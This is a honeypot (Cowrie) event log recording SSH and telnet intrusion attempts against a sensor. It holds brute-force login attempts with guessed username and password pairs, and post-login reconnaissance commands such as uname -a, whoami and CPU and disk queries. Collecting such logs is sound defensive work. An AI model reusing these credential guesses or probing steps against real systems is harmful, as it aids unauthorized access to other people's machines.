{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:39.244805Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:39.248502Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:39.510991Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36104,"dst_ip":"10.17.0.5","dst_port":23,"session":"afe4f975cb8a","protocol":"telnet","message":"New connection: 45.58.127.90:36104 (10.17.0.5:23) [session: afe4f975cb8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:39.694021Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:40.123379Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:40.126526Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:40.386685Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:40.949332Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:40.953292Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:41.214878Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:41.775669Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:41.779153Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:42.039778Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:42.602028Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:42.605463Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:42.865974Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:43.428044Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:43.430567Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:43.691623Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:44.245527Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:44.249133Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:44.512606Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.8","message":"Connection lost after 21.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:44.517969Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:52.717211Z","src_ip":"185.71.233.73","session":"e2be8f37f3c4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:53.701087Z","src_ip":"185.71.233.73","session":"e2be8f37f3c4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:53.704843Z","src_ip":"185.71.233.73","session":"e2be8f37f3c4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:55.071357Z","src_ip":"185.71.233.73","session":"14c7d099c825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:56.081149Z","src_ip":"185.71.233.73","session":"14c7d099c825","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:56.084608Z","src_ip":"185.71.233.73","session":"14c7d099c825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.06880784034729,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:58.649930Z","src_ip":"45.58.127.90","session":"a3709376d039","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.4","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:37:09.781482Z","src_ip":"185.71.233.73","session":"e2be8f37f3c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.9","message":"Connection lost after 36.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:37:10.528883Z","src_ip":"185.71.233.73","session":"e2be8f37f3c4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:37:12.129403Z","src_ip":"185.71.233.73","session":"14c7d099c825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.6","message":"Connection lost after 36.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:37:12.371867Z","src_ip":"185.71.233.73","session":"14c7d099c825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.520809173583984,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:37:14.214701Z","src_ip":"45.58.127.90","session":"afe4f975cb8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":32836,"dst_ip":"159.203.135.109","dst_port":22,"session":"66bb38bccccf","protocol":"ssh","message":"New connection: 202.125.94.71:32836 (159.203.135.109:22) [session: 66bb38bccccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:37:19.559557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:37:19.564640Z","src_ip":"202.125.94.71","session":"66bb38bccccf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:37:19.823635Z","src_ip":"202.125.94.71","session":"66bb38bccccf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"P@ssw0rd1","message":"login attempt [administrator/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:37:20.889642Z","src_ip":"202.125.94.71","session":"66bb38bccccf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:37:22.156106Z","src_ip":"202.125.94.71","session":"66bb38bccccf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46512,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5d0dd5e214a","protocol":"telnet","message":"New connection: 45.58.127.90:46512 (10.17.0.5:23) [session: a5d0dd5e214a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:38:07.670735Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":20624,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9237b76c199","protocol":"ssh","message":"New connection: 2.57.121.25:20624 (159.203.135.109:22) [session: d9237b76c199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:38:10.347590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:38:10.352844Z","src_ip":"2.57.121.25","session":"d9237b76c199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:38:10.454215Z","src_ip":"2.57.121.25","session":"d9237b76c199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"230584","message":"login attempt [user/230584] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:38:10.934164Z","src_ip":"2.57.121.25","session":"d9237b76c199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23031979","message":"login attempt [user/23031979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:38:12.039129Z","src_ip":"2.57.121.25","session":"d9237b76c199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23021995","message":"login attempt [user/23021995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:38:13.144574Z","src_ip":"2.57.121.25","session":"d9237b76c199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23021994","message":"login attempt [user/23021994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:38:14.248734Z","src_ip":"2.57.121.25","session":"d9237b76c199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"230190","message":"login attempt [user/230190] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:38:15.353144Z","src_ip":"2.57.121.25","session":"d9237b76c199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:38:16.461790Z","src_ip":"2.57.121.25","session":"d9237b76c199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":53824,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4b9817c62c0","protocol":"ssh","message":"New connection: 202.125.94.71:53824 (159.203.135.109:22) [session: b4b9817c62c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:38:19.047175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:38:19.052576Z","src_ip":"202.125.94.71","session":"b4b9817c62c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:38:19.317253Z","src_ip":"202.125.94.71","session":"b4b9817c62c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123321","message":"login attempt [ubuntu/ubuntu123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:38:20.403246Z","src_ip":"202.125.94.71","session":"b4b9817c62c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:38:21.669554Z","src_ip":"202.125.94.71","session":"b4b9817c62c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.69571542739868,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:38:42.366307Z","src_ip":"45.58.127.90","session":"a5d0dd5e214a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":46816,"dst_ip":"159.203.135.109","dst_port":22,"session":"94551cd193eb","protocol":"ssh","message":"New connection: 202.125.94.71:46816 (159.203.135.109:22) [session: 94551cd193eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:39:20.098689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:39:20.108420Z","src_ip":"202.125.94.71","session":"94551cd193eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:39:20.372504Z","src_ip":"202.125.94.71","session":"94551cd193eb","protocol":"ssh"}
